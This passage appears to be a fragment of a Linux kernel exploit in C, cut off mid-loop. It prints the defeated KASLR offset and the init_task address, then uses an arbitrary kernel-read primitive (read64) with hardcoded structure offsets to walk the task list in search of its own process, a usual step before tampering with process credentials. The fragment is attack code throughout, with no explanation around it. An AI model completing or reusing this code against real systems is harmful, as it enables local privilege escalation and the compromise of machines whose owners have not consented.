printf("kaslr offset is %lx\n", kaslr_offset);
printf("init task at %lx\n", init_task);
printf("looking for my process...\n");
unsigned long current_task = init_task;
while (true) {
current_task = read64(current_task + 0x4c8);
current_task = current_task - 0x4c8;
unsigned long name[2];
name[0] = read64(current_task + 0x790);